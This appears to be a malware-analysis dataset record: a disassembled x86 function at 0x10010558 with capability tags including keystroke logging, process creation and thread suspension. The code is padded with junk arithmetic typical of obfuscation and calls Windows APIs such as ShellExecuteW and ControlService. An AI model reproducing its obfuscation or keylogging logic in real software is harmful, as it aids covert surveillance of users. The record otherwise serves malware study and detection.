Function at 0x10010558
Capabilities:
Check os version
Create process on windows
Enumerate gui resources
Get common file path
Get disk size
Get file attributes
Log keystrokes via polling
Suspend thread

Disassembly:
mov eax, 0x10065a02
call fcn.10064ee8
mov eax, 0x1ab4
call fcn.100602c0
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
mov esi, 0xd3cd3624
push 0
mov dword [ebp - 0x10], 3
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x38], 0x64f16efa
pop ecx
mov dword [ebp - 0x2c], 0x40fff069
push 1
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], 0xe
pop edx
jmp 0x10010657
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x30], ecx
jmp 0x100105cd
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe4], 0x81826fbd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x100105bc
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x100105e3
push ecx
call ebx
push eax
call edi
xor ecx, ecx
cmp dword [ebp - 0x10], ecx
je 0x1001064c
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0xe4]
cmp ecx, 0xfff6
mov ecx, 0x30f8
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0xe4]
add ecx, eax
mov eax, dword [ebp - 0xe4]
add eax, ecx
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x38], eax
jg 0x1001064a
xor edx, edx
inc edx
xor ecx, ecx
mov eax, edx
jmp 0x10010651
xor ecx, ecx
xor edx, edx
mov eax, ecx
inc edx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x12
jle 0x100105b0
mov dword [ebp - 0x10], 3
mov dword [ebp - 0x38], 0x64f16efa
mov dword [ebp - 0x2c], 0x40fff069
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], 0xe
jmp 0x1001072c
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x30], ecx
jmp 0x100106a2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xcc], 0x81826fbd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x10010691
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x100106b8
push ecx
call ebx
push eax
call edi
xor ecx, ecx
cmp dword [ebp - 0x10], ecx
je 0x10010721
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0xcc]
cmp ecx, 0xfff6
mov ecx, 0x30f8
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0xcc]
add ecx, eax
mov eax, dword [ebp - 0xcc]
add eax, ecx
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x38], eax
jg 0x1001071f
xor edx, edx
inc edx
xor ecx, ecx
mov eax, edx
jmp 0x10010726
xor ecx, ecx
xor edx, edx
mov eax, ecx
inc edx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x12
jle 0x10010685
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x28], 0x263d1880
push 2
call fcn.1000a859
and dword [ebp - 4], 0
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x24], 0x42b4
push 4
call fcn.1000a859
mov dword [ebp - 0x44], 0x5ffe8fed
xor edx, edx
mov dword [ebp - 0x18], 0xc487
mov dword [ebp - 0x10], edx
jmp 0x10010790
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x204]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10010781
mov dword [ebp - 0x10], edx
jmp 0x100107ae
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x288]
mov dword [eax + ecx*4], 0x82ecc90c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1001079b
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
je 0x100107e7
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x204]
sub ecx, 0x4a1cf041
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x204]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jne 0x10010801
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov esi, 0xffff
cmp eax, 0x59f451db
mov eax, dword [ebp - 0x34]
push 0xa
setne cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x288]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
sete dl
xor ecx, ecx
imul edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x34]
cmp edx, 0x6983
setge cl
xor eax, eax
cmp ecx, 0x3f0a
setne al
cmp dword [ebp - 0x34], eax
pop eax
mov dword [ebp - 0x44], eax
jle 0x100108c6
xor ecx, ecx
mov dword [ebp - 0x40], 0xc946
mov dword [ebp - 0x34], ecx
jmp 0x100108be
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x2c], 0x1ad702c9
cmp dword [eax], ecx
jne 0x10010928
mov dword [ebp - 0x24], 0x14
cmp dword [ebp - 0x24], 0xffffffe3
je 0x100108bb
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, 0x97de
setle cl
imul eax, dword [ebp - 0x40], 0xfffffff7
sub edx, ecx
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x10], ecx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe3
jne 0x10010888
xor ecx, ecx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffec
jge 0x10010863
jmp 0x10010928
mov dword [ebp - 0x2c], 0xfbcb
xor ecx, ecx
mov dword [ebp - 0x40], 0x98521360
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jne 0x10010928
xor edx, edx
push 0xa
inc edx
pop edi
mov dword [ebp - 0x38], esi
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x38], edx
jne 0x10010907
mov eax, dword [ebp - 0x204]
cmp dword [eax], ecx
je 0x10010907
mov ecx, edx
neg ecx
xor eax, eax
cmp ecx, 0x99cc
push 0
setl al
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x10]
pop ecx
cmp dword [ebp - 0x10], edi
je 0x100108e4
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
inc dword [ebp - 0x18]
lea ecx, [ebp - 0x288]
call fcn.1000a94e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x204]
call fcn.1000a94e
mov dword [ebp - 0x10], 7
xor eax, eax
mov dword [ebp - 0x18], 0xfda0246c
xor ecx, ecx
mov dword [ebp - 0x3c], eax
inc ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x2c], 0xd7132c26
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xb
jl 0x10010a5e
xor esi, esi
mov edi, 0xf61160dd
mov dword [ebp - 0x20], 0x24ce5545
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 0x38], 0x5fec
push 3
call fcn.1000a859
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x30], esi
jmp 0x100109b5
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2f4]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x100109a6
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], 0x58f2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setne dl
sub edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x10]
neg edx
sbb edx, edx
inc edx
add esi, edx
sub esi, dword [ebp - 0x10]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
sub esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2f4]
cmp esi, dword [eax + 8]
setne cl
xor esi, esi
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], esi
jne 0x10010a1d
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
test eax, eax
setg cl
cmp edi, ecx
lea ecx, [ebp - 0x2f4]
sbb eax, eax
neg eax
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x18], esi
call fcn.1000a94e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xb
jge 0x1001097c
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
movdqa xmm0, xmmword [0x10008790]
lea ecx, [ebp - 0x754]
push 3
pop esi
push ecx
lea eax, [ebp - 0x744]
mov dword [ebp - 0x34], esi
push eax
push ecx
mov dword [ebp - 0x38], 0x64f16efa
lea ecx, [ebp - 0x3cc]
movdqu xmmword [ebp - 0x754], xmm0
call fcn.1000a895
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0xfd94
mov dword [ebp - 0x2c], 0xbca9d692
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x30], eax
jl 0x10010b4d
mov dword [ebp - 0x38], 0xbcef
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10010b0e
push eax
push 0x1755
push 0x146b
push 0x1720
push 0x11cf
push 0x22de
push 0x22ca
push 0x2072
push 0x23bf
push 0x24e3
push 0x17e0
push 0x137c
push 0x2637
push 0x1105
call dword [sym.imp.GDI32.dll_CreateFontA]
xor eax, eax
inc dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jg 0x10010b44
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3cc]
mov edx, dword [ebp - 0x3cc]
push 3
mov eax, dword [eax + ecx*4]
mov dword [edx + esi*4], eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x38]
inc dword [ebp - 0x10]
pop esi
cmp dword [ebp - 0x10], esi
jle 0x10010b19
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10010ab4
lea ecx, [ebp - 0x3cc]
call fcn.1000a94e
mov dword [ebp - 0x2c], 0x40fff069
xor ecx, ecx
mov dword [ebp - 0x4c], 0xffffffff
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], cl
je 0x10010b7f
push ecx
push 0x10c3
push ecx
call dword [sym.imp.GDI32.dll_GetBitmapBits]
xor ecx, ecx
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x10010b9e
push 0x1cc5
push ecx
push 0x15f
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
xor ecx, ecx
mov dword [ebp - 0x2c], 0xd3cd3624
mov dword [ebp - 0x34], 0xe
cmp dword [ebp - 0x34], 0x12
jg 0x100114e1
xor edx, edx
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x10], ecx
jmp 0x10010bd5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x864], 0x9b389519
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10010bc4
mov dword [ebp - 0x10], ecx
jmp 0x10010bec
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x120], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10010bdf
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x28]
jg 0x10010de1
mov dword [ebp - 0x28], ecx
jmp 0x10010cd2
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x10], ecx
jmp 0x10010c19
cmp dword [ebp - 0x10], ecx
jne 0x10010c1f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x16
jne 0x10010c11
mov dword [ebp - 0x10], ecx
jmp 0x10010cc5
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], 0x1775
cmp dword [ebp - 0x2c], 0xb93
jge 0x10010c8c
lea eax, [ebp - 0xe8]
mov ecx, 0x10658770
push eax
call fcn.1000a437
mov esi, dword [ebp - 0xe8]
inc esi
mov ecx, esi
mov dword [ebp - 0xe8], esi
call fcn.10010355
test al, al
jne 0x10010c75
inc esi
mov ecx, esi
call fcn.10010355
test al, al
je 0x10010c63
mov dword [ebp - 0xe8], esi
push esi
mov ecx, 0x106586b8
call fcn.1000a632
push eax
call fcn.1000e0ee
pop ecx
xor edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x30], ecx
jmp 0x10010ca2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1c8], 0xba1a4d63
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x10010c91
mov dword [ebp - 0x24], ecx
jmp 0x10010cbd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1c8], 0x29989d22
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10010cac
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 7
jl 0x10010c27
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe4
je 0x10010c05
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x10010cf2
push ecx
push 0x174d
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
xor esi, esi
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x3c], 0xee28fdeb
mov dword [ebp - 0x2c], 0x2666
cmp dword [ebp - 0x2c], 0x59c
jge 0x10010db7
lea eax, [ebp - 0x124]
push eax
push 0x10008180
call fcn.1004bcab
pop ecx
pop ecx
mov dword [ebp - 0x150], esi
mov dword [ebp - 0x14c], esi
call fcn.1001d429
mov dword [ebp - 0x150], eax
xor eax, eax
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 0x124], 0
jle 0x10010d96
lea eax, [ebp - 0x118]
push eax
push 0x10008180
call fcn.1004bcab
cmp dword [ebp - 0x118], 0
pop ecx
pop ecx
je 0x10010d8d
movzx eax, byte [0x1076b76e]
push eax
lea eax, [ebp - 0x118]
push eax
push ecx
lea eax, [ebp - 0x80c]
push eax
lea ecx, [ebp - 0x150]
call fcn.1001d7ee
inc esi
cmp esi, dword [ebp - 0x124]
jl 0x10010d4f
push dword [ebp - 0x14c]
push 0x10008434
call fcn.1004c43c
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
lea ecx, [ebp - 0x150]
call fcn.1001721b
mov dword [ebp - 0x10], 0xffffffff
xor esi, esi
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x28], 0x58163090
mov dword [ebp - 0x28], 0x4de5a82a
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x30], esi
jmp 0x10010e46
mov dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x5e0]
mov dword [ebp - 0x4c], edx
push 2
call fcn.1000a859
xor esi, esi
mov dword [ebp - 0x4c], 0x635
mov dword [ebp - 0x30], esi
jmp 0x10010e19
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x5e0]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x10010e06
inc dword [ebp - 0x120]
lea ecx, [ebp - 0x5e0]
call fcn.1000a94e
jmp 0x10010cf4
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x888], 0xe86a6760
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x10010e35
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
add eax, 2
sub ecx, eax
mov eax, 0x93d0b548
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x10]
jle 0x10010e8b
cmp dword [ebp - 0x3c], esi
jne 0x10010e8b
mov eax, esi
xor esi, esi
inc esi
jmp 0x10010e90
xor esi, esi
inc esi
mov eax, esi
imul ecx, eax, 0xfffffffc
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setne dl
sub edx, 7
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [ebp - 0x10]
jne 0x10010f42
mov dword [ebp - 0x30], ecx
jmp 0x10010ec6
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x7a0], 0xfffffff8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x10010eb5
mov dword [ebp - 0x10], 8
cmp dword [ebp - 0x10], 0xd
jle 0x10010f18
mov dword [ebp - 0x2c], esi
xor edx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp eax, edx
push 0
setge cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffffc
setle cl
xor eax, eax
cmp ecx, 0xfffffff6
pop ecx
setne al
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
jg 0x10010ed9
mov dword [ebp - 0x28], ecx
jmp 0x10010f3a
cmp dword [ebp - 0x79c], ecx
jne 0x10010f67
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x10010f37
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffea
jle 0x10010f1d
jmp 0x10010f67
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], cl
je 0x10010f69
push ecx
push 0x1bcd
push ecx
push 0xa9e
push 0x660
push ecx
push 0x2224
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
xor ecx, ecx
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ecx
jl 0x10010fe1
mov dword [ebp - 0x4c], 0xffffffff
lea ecx, [ebp - 0x450]
push 4
call fcn.1000a859
xor edx, edx
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x30], edx
jmp 0x10010fa6
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x450]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x10010f97
mov eax, dword [ebp - 0x38]
mov ecx, esi
dec dword [ebp - 0x38]
test eax, eax
mov eax, dword [ebp - 0x450]
cmove ecx, edx
mov dword [eax], ecx
xor eax, eax
cmp ecx, 0x8f438361
lea ecx, [ebp - 0x450]
sete al
mov dword [ebp - 0x2c], eax
call fcn.1000a94e
dec dword [ebp - 0x28]
jns 0x10010f75
xor ecx, ecx
mov dword [ebp - 0x28], esi
push 3
mov dword [ebp - 0x40], 0x71362395
mov dword [ebp - 0x30], ecx
pop esi
jmp 0x10011004
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x164], 0x6579763
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10010ff3
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ecx
jl 0x100110d0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x2c], 0xcc1d
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], ecx
jl 0x10011051
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x1001104c
push 0xd73
push ecx
push ecx
push ecx
push ecx
call ebx
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
dec dword [ebp - 0x10]
jns 0x1001102f
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], ecx
jl 0x100110c7
mov ecx, dword [ebp - 0x160]
xor edx, edx
mov eax, dword [ebp - 0x15c]
cmp ecx, eax
mov eax, dword [ebp - 0x160]
setge dl
xor ebx, ebx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x28]
setg bl
sub ebx, edx
mov ecx, dword [ebp + eax*4 - 0x164]
neg ebx
mov eax, dword [ebp - 0x2c]
sbb ebx, ebx
xor edx, edx
inc ebx
add ecx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
imul edx, dword [ebp + eax*4 - 0x164]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x164]
cmp eax, edx
setne cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0x10]
jns 0x1001105d
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor ecx, ecx
dec dword [ebp - 0x28]
jns 0x10011019
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], ecx
jmp 0x10011109
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x100110f3
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor ecx, ecx
mov byte [ebp - 0x11], cl
cmp byte [ebp - 0x11], 0
je 0x10011106
push ecx
push ecx
call dword [sym.imp.USER32.dll_LoadCursorA]
xor ecx, ecx
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffee
jl 0x100110d8
mov dword [ebp - 0x30], ecx
xor ecx, ecx
inc ecx
jmp 0x10011128
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xc8], 0x81826fbd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10011117
mov dword [ebp - 0x24], 0x13a473eb
lea ecx, [ebp - 0x5f8]
mov dword [ebp - 0x2c], 0x6986d6d
push esi
call fcn.1000a859
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x2c], ecx
inc edx
mov dword [ebp - 0x10], ecx
jmp 0x10011165
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe0], 0x3072c02a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10011154
mov dword [ebp - 0x10], ecx
jmp 0x10011182
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x5f8]
mov dword [eax + ecx*4], 0x2377d64
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1001116f
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x2c], 7
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe0], ecx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
sub edx, 0x63d62a04
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x24]
jle 0x100111c3
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
lea ecx, [ebp - 0x5f8]
setle dl
xor eax, eax
cmp edx, 0xffffffff
setle al
mov dword [ebp - 0x2c], eax
call fcn.1000a94e
mov dword [ebp - 0x28], 0xfffffffc
xor edx, edx
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x30], edx
jmp 0x10011212
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5cc], 0x6579763
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10011201
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], 2
jg 0x1001126a
xor edi, edi
inc edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], edx
jl 0x10011247
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x5cc]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x18]
jns 0x10011232
mov eax, dword [ebp - 0x28]
mov ecx, 0x3292c5eb
mov eax, dword [ebp + eax*4 - 0x5cc]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x10011223
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], dl
je 0x100113a7
mov dword [ebp - 0x3c], 0x477862f
lea ecx, [ebp - 0x6a4]
push 4
call fcn.1000a859
push 4
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 4], 2
call fcn.1000a859
xor edx, edx
mov dword [ebp - 0x10], edx
jmp 0x100112b8
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x6a4]
mov dword [eax + ecx*4], 0x8974b666
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100112a5
mov dword [ebp - 0x10], edx
jmp 0x100112d6
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2a0]
mov dword [eax + ecx*4], 0xdf9c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100112c3
mov dword [ebp - 0x3c], 0xffffffee
cmp dword [ebp - 0x3c], 0x17
jge 0x10011386
mov esi, dword [ebp - 0x2a0]
xor eax, eax
inc eax
inc dword [esi + 4]
mov dword [ebp - 0x4c], 0xade2167f
mov dword [ebp - 0x4c], 0x11151
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x18], 0x49f6d4a0
mov dword [ebp - 0x30], 0xf14eb4c8
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 0x36de0184
mov dword [ebp - 0x2c], 0x5c2dd78f
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], edx
jl 0x10011376
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], edx
jl 0x1001135f
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x1001135a
push edx
call dword [sym.imp.USER32.dll_SetCursor]
xor edx, edx
dec dword [ebp - 0x18]
jns 0x10011348
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2a0]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x30]
jns 0x1001133c
xor eax, eax
inc eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x17
jl 0x100112f6
push 3
pop esi
lea ecx, [ebp - 0x2a0]
call fcn.1000a94e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6a4]
call fcn.1000a94e
push 0
call ebx
push eax
call edi
movdqa xmm0, xmmword [0x100087a0]
lea eax, [ebp - 0x6e4]
push ecx
push eax
lea eax, [ebp - 0x6f4]
push eax
lea ecx, [ebp - 0x578]
movdqu xmmword [ebp - 0x6f4], xmm0
call fcn.1000a895
mov dword [ebp - 0x38], 0x30a4ccfd
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x18], 0xfffd
mov dword [ebp - 0x2c], 0xae4f9dbc
mov dword [ebp - 0x30], 0
jmp 0x10011407
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5d4], 0x2f144811
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x100113f6
mov edx, dword [ebp - 0x578]
xor ecx, ecx
xor eax, eax
inc ecx
cmp dword [edx + 0xc], ecx
setg al
xor ecx, ecx
cmp eax, 0x3b28
setg cl
xor eax, eax
cmp ecx, 0xd5d7
setle al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add eax, 0x5c9e
